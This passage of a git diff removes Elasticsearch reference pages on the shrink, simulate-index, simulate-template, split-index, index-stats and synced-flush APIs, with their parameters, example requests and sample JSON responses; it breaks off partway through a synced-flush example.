-cluster state, before any shards have been allocated. At this point, all
-shards are in the state `unassigned`. If, for any reason, the target index
-can't be allocated on the shrink node, its primary shard will remain
-`unassigned` until it can be allocated on that node.
-
-Once the primary shard is allocated, it moves to state `initializing`, and the
-shrink process begins. When the shrink operation completes, the shard will
-become `active`. At that  point, Elasticsearch will try to allocate any
-replicas and may decide to relocate the primary shard to another node.
-
-
-[[shrink-wait-active-shards]]
-===== Wait for active shards
-
-Because the shrink operation creates a new index to shrink the shards to,
-the <<create-index-wait-for-active-shards,wait for active shards>> setting
-on index creation applies to the shrink index action as well.
-
-
-[[shrink-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string)
-Name of the source index to shrink.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index]
-
-[[shrink-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[shrink-index-api-request-body]]
-==== {api-request-body-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-aliases]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-settings]
diff --git a/docs/reference/indices/simulate-index.asciidoc b/docs/reference/indices/simulate-index.asciidoc
deleted file mode 100644
index 2d09117be40..00000000000
--- a/docs/reference/indices/simulate-index.asciidoc
+++ /dev/null
@@ -1,176 +0,0 @@
-[[indices-simulate-index]]
-=== Simulate index API
-++++
-<titleabbrev>Simulate index</titleabbrev>
-++++
-
-experimental[]
-
-Returns the index configuration that would be applied to the specified index from an 
-existing <<index-templates, index template>>.
-
-////
-[source,console]
---------------------------------------------------
-PUT _index_template/template_1
-{
-  "index_patterns": ["my-index-*"],
-  "template": {
-    "settings": {
-      "number_of_shards": 1
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/*
---------------------------------------------------
-// TEARDOWN
-////
-
-[source,console]
---------------------------------------------------
-POST /_index_template/_simulate_index/my-index-000001
---------------------------------------------------
-
-[[simulate-index-api-request]]
-==== {api-request-title}
-
-`POST /_index_template/_simulate_index/<index>`
-
-
-[[simulate-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string)
-Name of the index to simulate. 
-
-[[simulate-index-api-query-params]]
-==== {api-query-parms-title}
-////
-`cause`::
-(Optional, string) The reason for running the simulation. 
-////
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-[role="child_attributes"]
-[[simulate-index-api-response-body]]
-==== {api-response-body-title}
-
-`overlapping`::
-(array) Any templates that also matched the index but were superseded by a higher-priority template.
-Response includes an empty array if there are no overlapping templates. 
-+
-.Properties of `overlapping`
-[%collapsible%open]
-====
-`name`::
-(string) Name of the superseded template.
-
-`index_patterns`:: 
-(array) Index patterns that the superseded template applies to.
-====
-
-`template`::
-(object)
-The settings, mappings, and aliases that would be applied to the index. 
-+
-.Properties of `template`
-[%collapsible%open]
-====
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=aliases]
-+
-Response includes an empty object if no aliases would be applied. 
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=mappings]
-+
-Omitted from the response if no mappings would be applied.
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=settings]
-+
-Response includes an empty object if no settings would be applied. 
-====
-
-[[simulate-index-api-example]]
-==== {api-examples-title}
-
-The following example shows the configuration that would be applied to `my-index-000001` by 
-an existing template.
-
-[source,console]
---------------------------------------------------
-PUT /_component_template/ct1                    <1>
-{
-  "template": {
-    "settings": {
-      "index.number_of_shards": 2
-    }
-  }
-}
-
-PUT /_component_template/ct2                    <2>
-{
-  "template": {
-    "settings": {
-      "index.number_of_replicas": 0
-    },
-    "mappings": {
-      "properties": {
-        "@timestamp": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
-
-PUT /_index_template/final-template             <3>
-{
-  "index_patterns": ["my-index-*"],
-  "composed_of": ["ct1", "ct2"],
-  "priority": 5
-}
-
-POST /_index_template/_simulate_index/my-index-000001 <4>
---------------------------------------------------
-<1> Create a component template (`ct1`) that sets the number of shards to 2
-<2> Create a second component template (`ct2`) that sets the number of replicas to 0 and defines a mapping
-<3> Create an index template (`final-template`) that uses the component templates
-<4> Show the configuration that would be applied to `my-index-000001`
-
-The response shows the index settings, mappings, and aliases applied by the `final-template`:
-
-[source,console-result]
----------------------------------------------------------
-{
-  "template" : {
-    "settings" : {
-      "index" : {
-        "number_of_shards" : "2",
-        "number_of_replicas" : "0"
-      }
-    },
-    "mappings" : {
-      "properties" : {
-        "@timestamp" : {
-          "type" : "date"
-        }
-      }
-    },
-    "aliases" : { }
-  },
-  "overlapping" : [
-    {
-      "name" : "template_1",
-      "index_patterns" : [
-        "my-index-*"
-      ]
-    }
-  ]
-}
----------------------------------------------------------
diff --git a/docs/reference/indices/simulate-multi-component-templates.asciidoc b/docs/reference/indices/simulate-multi-component-templates.asciidoc
deleted file mode 100644
index e3371634caa..00000000000
--- a/docs/reference/indices/simulate-multi-component-templates.asciidoc
+++ /dev/null
@@ -1,124 +0,0 @@
-[[simulate-multi-component-templates]]
-== Simulate multi-component templates
-
-Since templates can be composed not only of multiple component templates, but also the index
-template itself, there are two simulation APIs to determine what the resulting index settings will
-be.
-
-To simulate the settings that would be applied to a particular index name:
-
-////
-[source,console]
---------------------------------------------------
-PUT /_index_template/template_1
-{
-  "index_patterns" : ["my*"],
-  "priority" : 1,
-  "template": {
-    "settings" : {
-      "number_of_shards" : 2
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE /_index_template/template_1
---------------------------------------------------
-// TEARDOWN
-
-////
-
-[source,console]
---------------------------------------------------
-POST /_index_template/_simulate_index/my-index-000001
---------------------------------------------------
-
-To simulate the settings that would be applied from an existing template:
-
-[source,console]
---------------------------------------------------
-POST /_index_template/_simulate/template_1
---------------------------------------------------
-
-You can also specify a template definition in the simulate request. 
-This enables you to verify that settings will be applied as expected before you add a new template.
-
-[source,console]
---------------------------------------------------
-PUT /_component_template/ct1 
-{
-  "template": {
-    "settings": {
-      "index.number_of_shards": 2
-    }
-  }
-}
-
-PUT /_component_template/ct2 
-{
-  "template": {
-    "settings": {
-      "index.number_of_replicas": 0
-    },
-    "mappings": {
-      "properties": {
-        "@timestamp": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
-
-POST /_index_template/_simulate
-{
-  "index_patterns": ["my*"],
-  "template": {
-    "settings" : {
-        "index.number_of_shards" : 3
-    }
-  },
-  "composed_of": ["ct1", "ct2"]
-}
---------------------------------------------------
-
-
-The response shows the settings, mappings, and aliases that would be applied to matching indices,
-and any overlapping templates whose configuration would be superseded by the simulated template body 
-or higher-priority templates.
-
-[source,console-result]
----------------------------------------------------------
-{
-  "template" : {
-    "settings" : {
-      "index" : {
-        "number_of_shards" : "3",   <1>
-        "number_of_replicas" : "0"
-      }
-    },
-    "mappings" : {
-      "properties" : {
-        "@timestamp" : {
-          "type" : "date"           <2>
-        }
-      }
-    },
-    "aliases" : { }
-  },
-  "overlapping" : [
-    {
-      "name" : "template_1",        <3>
-      "index_patterns" : [
-        "my*"
-      ]
-    }
-  ]
-}
----------------------------------------------------------
-<1> The number of shards from the simulated template body
-<2> The `@timestamp` field inherited from the `ct2` component template
-<3> Any overlapping templates that would have matched, but have lower priority
diff --git a/docs/reference/indices/simulate-template.asciidoc b/docs/reference/indices/simulate-template.asciidoc
deleted file mode 100644
index 860df49c139..00000000000
--- a/docs/reference/indices/simulate-template.asciidoc
+++ /dev/null
@@ -1,300 +0,0 @@
-[[indices-simulate-template]]
-=== Simulate index template API
-++++
-<titleabbrev>Simulate template</titleabbrev>
-++++
-
-experimental[]
-
-Returns the index configuration that would be applied by a particular 
-<<index-templates, index template>>.
-
-////
-[source,console]
---------------------------------------------------
-PUT _index_template/template_1
-{
-  "index_patterns": ["te*", "bar*"],
-  "template": {
-    "settings": {
-      "number_of_shards": 1
-    },
-    "mappings": {
-      "_source": {
-        "enabled": false
-      },
-      "properties": {
-        "host_name": {
-          "type": "keyword"
-        },
-        "created_at": {
-          "type": "date",
-          "format": "EEE MMM dd HH:mm:ss Z yyyy"
-        }
-      }
-    },
-    "aliases": {
-      "mydata": { }
-    }
-  },
-  "priority": 10,
-  "version": 3,
-  "_meta": {
-    "description": "my custom"
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/*
-DELETE _component_template/*
---------------------------------------------------
-// TEARDOWN
-////
-
-[source,console]
---------------------------------------------------
-POST /_index_template/_simulate/template_1
---------------------------------------------------
-
-[[simulate-template-api-request]]
-==== {api-request-title}
-
-`POST /_index_template/_simulate/<index-template>`
-
-
-[[simulate-template-api-path-params]]
-==== {api-path-parms-title}
-
-`<index-template>`::
-(Optional, string)
-Name of the index template to simulate.
-To test a template configuration before you add it to the cluster, 
-omit this parameter and specify the template configuration in the request body.
-
-[[simulate-template-api-query-params]]
-==== {api-query-parms-title}
-////
-`cause`::
-(Optional, string) The reason for using the specified template for the simulation. 
-////
-
-`create`::
-(Optional, Boolean) If `true`, the template passed in the body is 
-only used if no existing templates match the same index patterns. 
-If `false`, the simulation uses the template with the highest priority.
-Note that the template is not permanently added or updated in either case;
-it is only used for the simulation.
-Defaults to `false`.
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-[[simulate-template-api-request-body]]
-==== {api-request-body-title}
-
-`composed_of`::
-(Optional, array of strings)
-Ordered list of component template names. Component templates are merged in the order
-specified, meaning that the last component template specified has the highest precedence. 
-For an example, see 
-<<multiple-component-templates,Composing multiple component templates>>.
-
-`index_patterns`::
-(Required, array of strings)
-Array of wildcard (`*`) expressions
-used to match the names of indices during creation.
-
-`priority`::
-(Optional, integer)
-Priority that determines what template is applied if there are multiple templates 
-that match the name of a new index. 
-The highest priority template takes precedence. Defaults to `0` (lowest priority).
-
-`template`::
-(Optional, object)
-Template to apply.
-+
-.Properties of `template`
-[%collapsible%open]
-====
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=aliases]
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=mappings]
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=settings]
-====
-
-`version`::
-(Optional, integer)
-Version number used to manage index templates externally.
-This version is not automatically generated by {es}.
-
-`_meta`::
-(Optional, object)
-User-specified metadata for the index template. 
-This information is not generated or used by {es}.
-
-[role="child_attributes"]
-[[simulate-template-api-response-body]]
-==== {api-response-body-title}
-
-`overlapping`::
-(array) Any templates that were superseded by the specified template.
-+
-.Properties of `overlapping`
-[%collapsible%open]
-====
-`index_patterns`:: 
-(array) Index patterns that the superseded template applies to.
-
-`name`::
-(string) Name of the superseded template.
-====
-
-`template`::
-(object)
-The settings, mappings, and aliases that would be applied to matching indices. 
-+
-.Properties of `template`
-[%collapsible%open]
-====
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=aliases]
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=mappings]
-
-include::{es-ref-dir}/rest-api/common-parms.asciidoc[tag=settings]
-====
-
-[[simulate-template-api-example]]
-==== {api-examples-title}
-
-[[simulate-existing-template-ex]]
-===== Simulating an existing template
-
-The following example creates and simulates a composed template:
-
-[source,console]
---------------------------------------------------
-PUT /_component_template/ct1                   <1>
-{
-  "template": {
-    "settings": {
-      "index.number_of_shards": 2
-    }
-  }
-}
-
-PUT /_component_template/ct2                    <2>
-{
-  "template": {
-    "settings": {
-      "index.number_of_replicas": 0
-    },
-    "mappings": {
-      "properties": {
-        "@timestamp": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
-
-PUT /_index_template/final-template            <3>
-{
-  "index_patterns": ["my-index-*"],
-  "composed_of": ["ct1", "ct2"],
-  "priority": 5
-}
-
-POST /_index_template/_simulate/final-template <4>
---------------------------------------------------
-<1> Create a component template (`ct1`) that sets the number of shards to 2
-<2> Create a component template (`ct2`) that sets the number of replicas to 0 and defines a mapping
-<3> Create an index template (`final-template`) that uses the component templates
-<4> Show the configuration applied by the `final-template`
-
-The response shows the index settings, mappings, and aliases applied by the `final-template`:
-
-[source,console-result]
----------------------------------------------------------
-{
-  "template" : {
-    "settings" : {
-      "index" : {
-        "number_of_shards" : "2",  <1>
-        "number_of_replicas" : "0" <2>
-      }
-    },
-    "mappings" : {                 <3>
-      "properties" : {
-        "@timestamp" : {
-          "type" : "date"
-        }
-      }
-    },
-    "aliases" : { }
-  },
-  "overlapping" : [ ]
-}
----------------------------------------------------------
-<1> Number of shards from `ct1`
-<2> Number of replicas from `ct2`
-<3> Mappings from `ct1`
-
-
-[[simulate-template-config-ex]]
-===== Simulating an arbitrary template configuration
-
-To see what settings will be applied by a template before you add it to the cluster, 
-you can pass a template configuration in the request body. 
-The specified template is used for the simulation if it has a higher priority than existing templates.
-
-[source,console]
---------------------------------------------------
-POST /_index_template/_simulate
-{
-  "index_patterns": ["my-index-*"],
-  "composed_of": ["ct2"],
-  "priority": 10,
-  "template": {
-    "settings": {
-      "index.number_of_replicas": 1
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The response shows any overlapping templates with a lower priority.
-
-[source,console-result]
----------------------------------------------------------
-{
-  "template" : {
-    "settings" : {
-      "index" : {
-        "number_of_replicas" : "1"
-      }
-    },
-    "mappings" : {
-      "properties" : { 
-        "@timestamp" : {           
-          "type" : "date"
-        }
-      }
-    },
-    "aliases" : { }
-  },
-  "overlapping" : [
-    {
-      "name" : "final-template",
-      "index_patterns" : [
-        "my-index-*"
-      ]
-    }
-  ]
-}
----------------------------------------------------------
\ No newline at end of file
diff --git a/docs/reference/indices/split-index.asciidoc b/docs/reference/indices/split-index.asciidoc
deleted file mode 100644
index 8fad3c53854..00000000000
--- a/docs/reference/indices/split-index.asciidoc
+++ /dev/null
@@ -1,280 +0,0 @@
-[[indices-split-index]]
-=== Split index API
-++++
-<titleabbrev>Split index</titleabbrev>
-++++
-
-Splits an existing index into a new index with more primary shards.
-
-[source,console]
-----
-POST /my-index-000001/_split/split-my-index-000001
-{
-  "settings": {
-    "index.number_of_shards": 2
-  }
-}
-----
-// TEST[s/^/PUT my-index-000001\n{"settings":{"blocks.write":true}}\n/]
-
-
-[[split-index-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_split/<target-index>`
-
-`PUT /<index>/_split/<target-index>`
-
-
-[[split-index-api-prereqs]]
-==== {api-prereq-title}
-
-
-Before you can split an index:
-
-* The index must be read-only.
-* The <<cluster-health, cluster health>> status must be green.
-
-You can do make an index read-only
-with the following request:
-
-[source,console]
---------------------------------------------------
-PUT /my_source_index/_settings
-{
-  "settings": {
-    "index.blocks.write": true <1>
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my_source_index\n/]
-
-<1> Prevents write operations to this index while still allowing metadata
-    changes like deleting the index.
-
-The current write index on a data stream cannot be split. In order to split
-the current write index, the data stream must first be
-<<rollover-data-stream-ex,rolled over>> so that a new write index is created
-and then the previous write index can be split.
-
-[[split-index-api-desc]]
-==== {api-description-title}
-
-The split index API allows you to split an existing index into a new index,
-where each original primary shard is split into two or more primary shards in
-the new index.
-
-The number of times the index can be split (and the number of shards that each
-original shard can be split into) is determined by the
-`index.number_of_routing_shards` setting. The number of routing shards
-specifies the hashing space that is used internally to distribute documents
-across shards with consistent hashing. For instance, a 5 shard index with
-`number_of_routing_shards` set to `30` (`5 x 2 x 3`) could be split by a
-factor of `2` or `3`.  In other words, it could be split as follows:
-
-* `5` -> `10` -> `30`  (split by 2, then by 3)
-* `5` -> `15` -> `30` (split by 3, then by 2)
-* `5` -> `30` (split by 6)
-
-`index.number_of_routing_shards` is a <<index-modules-settings,static index
-setting>>. You can only set `index.number_of_routing_shards` at index creation
-time or on a <<indices-open-close,closed index>>.
-
-.*Index creation example*
-[%collapsible]
-====
-The following <<indices-create-index,create index API>> creates the
-`my-index-000001` index with an `index.number_of_routing_shards` setting of `30`.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "index": {
-      "number_of_routing_shards": 30
-    }
-  }
-}
-----
-// TEST[continued]
-====
-
-The `index.number_of_routing_shards` setting's default value depends 
-on the number of primary shards in the original index.
-The default is designed to allow you to split
-by factors of 2 up to a maximum of 1024 shards. However, the original number
-of primary shards must taken into account. For instance, an index created
-with 5 primary shards could be split into 10, 20, 40, 80, 160, 320, or a
-maximum of 640 shards (with a single split action or multiple split actions).
-
-If the original index contains one primary shard (or a multi-shard index has
-been <<indices-shrink-index,shrunk>> down to a single primary shard), then the
-index may by split into an arbitrary number of shards greater than 1.  The
-properties of the default number of routing shards will then apply to the
-newly split index.
-
-
-[[how-split-works]]
-===== How splitting works
-
-A split operation:
-
-. Creates a new target index with the same definition as the source
-  index, but with a larger number of primary shards.
-
-. Hard-links segments from the source index into the target index. (If
-  the file system doesn't support hard-linking, then all segments are copied
-  into the new index, which is a much more time consuming process.)
-
-. Hashes all documents again, after low level files are created, to delete
-  documents that belong to a different shard.
-
-. Recovers the target index as though it were a closed index which
-  had just been re-opened.
-
-
-[[incremental-resharding]]
-===== Why doesn't Elasticsearch support incremental resharding?
-
-Going from `N` shards to `N+1` shards, aka. incremental resharding, is indeed a
-feature that is supported by many key-value stores. Adding a new shard and
-pushing new data to this new shard only is not an option: this would likely be
-an indexing bottleneck, and figuring out which shard a document belongs to
-given its `_id`, which is necessary for get, delete and update requests, would
-become quite complex. This means that we need to rebalance existing data using
-a different hashing scheme.
-
-The most common way that key-value stores do this efficiently is by using
-consistent hashing. Consistent hashing only requires `1/N`-th of the keys to
-be relocated when growing the number of shards from `N` to `N+1`. However
-Elasticsearch's unit of storage, shards, are Lucene indices. Because of their
-search-oriented data structure, taking a significant portion of a Lucene index,
-be it only 5% of documents, deleting them and indexing them on another shard
-typically comes with a much higher cost than with a key-value store. This cost
-is kept reasonable when growing the number of shards by a multiplicative factor
-as described in the above section: this allows Elasticsearch to perform the
-split locally, which in-turn allows to perform the split at the index level
-rather than reindexing documents that need to move, as well as using hard links
-for efficient file copying.
-
-In the case of append-only data, it is possible to get more flexibility by
-creating a new index and pushing new data to it, while adding an alias that
-covers both the old and the new index for read operations. Assuming that the
-old and new indices have respectively +M+ and +N+ shards, this has no overhead
-compared to searching an index that would have +M+N+ shards.
-
-
-[[split-index]]
-===== Split an index
-
-To split `my_source_index` into a new index called `my_target_index`, issue
-the following request:
-
-[source,console]
---------------------------------------------------
-POST /my_source_index/_split/my_target_index
-{
-  "settings": {
-    "index.number_of_shards": 2
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The above request returns immediately once the target index has been added to
-the cluster state -- it doesn't wait for the split operation to start.
-
-[IMPORTANT]
-=====================================
-
-Indices can only be split if they satisfy the following requirements:
-
-* the target index must not exist
-
-* The source index must have fewer primary shards than the target index.
-
-* The number of primary shards in the target index must be a multiple of the
-  number of primary shards in the source index.
-
-* The node handling the split process must have sufficient free disk space to
-  accommodate a second copy of the existing index.
-
-=====================================
-
-The `_split` API is similar to the <<indices-create-index, `create index` API>>
-and accepts `settings` and `aliases` parameters for the target index:
-
-[source,console]
---------------------------------------------------
-POST /my_source_index/_split/my_target_index
-{
-  "settings": {
-    "index.number_of_shards": 5 <1>
-  },
-  "aliases": {
-    "my_search_indices": {}
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my_source_index\n{"settings": {"index.blocks.write": true, "index.number_of_shards": "1"}}\n/]
-
-<1> The number of shards in the target index. This must be a multiple of the
-    number of shards in the source index.
-
-
-NOTE: Mappings may not be specified in the `_split` request.
-
-
-[[monitor-split]]
-===== Monitor the split process
-
-The split process can be monitored with the <<cat-recovery,`_cat recovery`
-API>>, or the <<cluster-health, `cluster health` API>> can be used to wait
-until all primary shards have been allocated by setting the  `wait_for_status`
-parameter to `yellow`.
-
-The `_split` API returns as soon as the target index has been added to the
-cluster state, before any shards have been allocated. At this point, all
-shards are in the state `unassigned`. If, for any reason, the target index
-can't be allocated, its primary shard will remain `unassigned` until it
-can be allocated on that node.
-
-Once the primary shard is allocated, it moves to state `initializing`, and the
-split process begins. When the split operation completes, the shard will
-become `active`. At that  point, Elasticsearch will try to allocate any
-replicas and may decide to relocate the primary shard to another node.
-
-
-[[split-wait-active-shards]]
-===== Wait for active shards
-
-Because the split operation creates a new index to split the shards to,
-the <<create-index-wait-for-active-shards,wait for active shards>> setting
-on index creation applies to the split index action as well.
-
-
-[[split-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string)
-Name of the source index to split.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index]
-
-
-[[split-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[split-index-api-request-body]]
-==== {api-request-body-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-aliases]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-settings]
diff --git a/docs/reference/indices/stats.asciidoc b/docs/reference/indices/stats.asciidoc
deleted file mode 100644
index afd8409a48c..00000000000
--- a/docs/reference/indices/stats.asciidoc
+++ /dev/null
@@ -1,143 +0,0 @@
-[[indices-stats]]
-=== Index stats API
-++++
-<titleabbrev>Index stats</titleabbrev>
-++++
-
-Returns statistics for one or more indices. For data streams, the API retrieves
-statistics for the stream's backing indices.
-
-[source,console]
-----
-GET /my-index-000001/_stats
-----
-// TEST[setup:my_index]
-
-
-[[index-stats-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_stats/<index-metric>`
-
-`GET /<target>/_stats`
-
-`GET /_stats`
-
-
-[[index-stats-api-desc]]
-==== {api-description-title}
-
-Use the index stats API to get high-level aggregation and statistics for one or
-more data streams and indices.
-
-By default,
-the returned statistics are index-level
-with `primaries` and `total` aggregations.
-`primaries` are the values for only the primary shards.
-`total` are the accumulated values for both primary and replica shards.
-
-To get shard-level statistics,
-set the `level` parameter to `shards`.
-
-[NOTE]
-====
-When moving to another node,
-the shard-level statistics for a shard are cleared.
-Although the shard
-is no longer part of the node,
-that node retains any node-level statistics
-to which the shard contributed.
-====
-
-
-[[index-stats-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-metric]
-
-
-[[index-stats-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=completion-fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=fielddata-fields]
-
-`forbid_closed_indices`::
-(Optional, Boolean)
-If `true`, statistics are *not* collected from closed indices.
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=groups]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=level]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-segment-file-sizes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-unloaded-segments]
-
-
-[[index-stats-api-example]]
-==== {api-examples-title}
-
-
-[[index-stats-api-multiple-ex]]
-===== Get statistics for multiple data streams and indices
-
-[source,console]
---------------------------------------------------
-GET /index1,index2/_stats
---------------------------------------------------
-// TEST[s/^/PUT index1\nPUT index2\n/]
-
-
-[[index-stats-api-all-ex]]
-===== Get statistics for all data streams and indices in a cluster
-
-[source,console]
---------------------------------------------------
-GET /_stats
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[index-stats-api-specific-stats-ex]]
-===== Get specific statistics
-
-The following request returns
-only the `merge` and `refresh` statistics
-for all indices.
-
-[source,console]
---------------------------------------------------
-GET /_stats/merge,refresh
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[[index-stats-api-specific-groups-ex]]
-===== Get statistics for specific search groups
-
-The following request returns
-only search statistics
-for the `group1` and `group2` search groups.
-
-[source,console]
---------------------------------------------------
-GET /_stats/search?groups=group1,group2
---------------------------------------------------
-// TEST[setup:my_index]
diff --git a/docs/reference/indices/synced-flush.asciidoc b/docs/reference/indices/synced-flush.asciidoc
deleted file mode 100644
index fc2dc9cd27b..00000000000
--- a/docs/reference/indices/synced-flush.asciidoc
+++ /dev/null
@@ -1,279 +0,0 @@
-[[indices-synced-flush-api]]
-=== Synced flush API
-++++
-<titleabbrev>Synced flush</titleabbrev>
-++++
-
-deprecated::[7.6, "Synced-flush is deprecated and will be removed in 8.0. Use <<indices-flush,flush>> instead. A flush has the same effect as a synced flush on Elasticsearch 7.6 or later."]
-
-Performs a synced flush on one or more indices.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_flush/synced
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-
-
-[[synced-flush-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_flush/synced`
-
-`GET /<index>/_flush/synced`
-
-`POST /_flush/synced`
-
-`GET /_flush/synced`
-
-
-[[synced-flush-api-desc]]
-==== {api-description-title}
-
-[[synced-flush-using-api]]
-===== Use the synced flush API
-
-Use the synced flush API to manually initiate a synced flush.
-This can be useful for a planned cluster restart where
-you can stop indexing but don't want to wait for 5 minutes until all indices
-are marked as inactive and automatically sync-flushed.
-
-You can request a synced flush even if there is ongoing indexing activity, and
-{es} will perform the synced flush on a "best-effort" basis: shards that do not
-have any ongoing indexing activity will be successfully sync-flushed, and other
-shards will fail to sync-flush. The successfully sync-flushed shards will have
-faster recovery times as long as the `sync_id` marker is not removed by a
-subsequent flush.
-
-
-[[synced-flush-overview]]
-===== Synced flush overview
-
-{es} keeps track of which shards have received indexing activity recently, and
-considers shards that have not received any indexing operations for 5 minutes to
-be inactive.
-
-When a shard becomes inactive {es} performs a special kind of flush
-known as a *synced flush*. A synced flush performs a normal
-<<indices-flush,flush>> on each replica of the shard, and then adds a marker known
-as the `sync_id` to each replica to indicate that these copies have identical
-Lucene indices. Comparing the `sync_id` markers of the two copies is a very
-efficient way to check whether they have identical contents.
-
-When allocating shard replicas, {es} must ensure that each replica contains the
-same data as the primary. If the shard copies have been synced-flushed and the
-replica shares a `sync_id` with the primary then {es} knows that the two copies
-have identical contents. This means there is no need to copy any segment files
-from the primary to the replica, which saves a good deal of time during
-recoveries and restarts.
-
-This is particularly useful for clusters having lots of indices which are very
-rarely updated, such as with time-based indices. Without the synced flush
-marker, recovery of this kind of cluster would be much slower.
-
-
-[[synced-flush-sync-id-markers]]
-===== Check for `sync_id` markers
-
-To check whether a shard has a `sync_id` marker or not, look for the `commit`
-section of the shard stats returned by the <<indices-stats,indices stats>> API:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_stats?filter_path=**.commit&level=shards <1>
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-
-<1> `filter_path` is used to reduce the verbosity of the response, but is entirely optional
-
-The API returns the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "indices": {
-      "my-index-000001": {
-         "shards": {
-            "0": [
-               {
-                 "commit" : {
-                   "id" : "3M3zkw2GHMo2Y4h4/KFKCg==",
-                   "generation" : 3,
-                   "user_data" : {
-                     "translog_uuid" : "hnOG3xFcTDeoI_kvvvOdNA",
-                     "history_uuid" : "XP7KDJGiS1a2fHYiFL5TXQ",
-                     "local_checkpoint" : "-1",
-                     "translog_generation" : "2",
-                     "max_seq_no" : "-1",
-                     "sync_id" : "AVvFY-071siAOuFGEO9P", <1>
-                     "max_unsafe_auto_id_timestamp" : "-1",
-                     "min_retained_seq_no" : "0"
-                   },
-                   "num_docs" : 0
-                 }
-               }
-            ]
-         }
-      }
-   }
-}
---------------------------------------------------
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-<1> the `sync id` marker
-
-NOTE: The `sync_id` marker is removed as soon as the shard is flushed again, and
-{es} may trigger an automatic flush of a shard at any time if there are
-unflushed operations in the shard's translog. In practice this means that one
-should consider any indexing operation on an index as having removed its
-`sync_id` markers.
-
-
-[[synced-flush-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-+
-To sync-flush all indices,
-omit this parameter
-or use a value of `_all` or `*`.
-
-
-[[synced-flush-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-
-[[synced-flush-api-response-codes]]
-==== {api-response-codes-title}
-
-`200`::
-All shards successfully sync-flushed.
-
-`409`::
-A replica shard failed to sync-flush.
-
-
-[[synced-flush-api-example]]
-==== {api-examples-title}
-
-
-[[synced-flush-api-specific-ex]]
-===== Sync-flush a specific index
-
-[source,console]
-----
-POST /kimchy/_flush/synced
-----
-// TEST[skip: Synced flush can conflict with scheduled flushes in doc tests]
-
-
-[[synced-flush-api-multi-ex]]
-===== Synch-flush several indices
-
-[source,console]
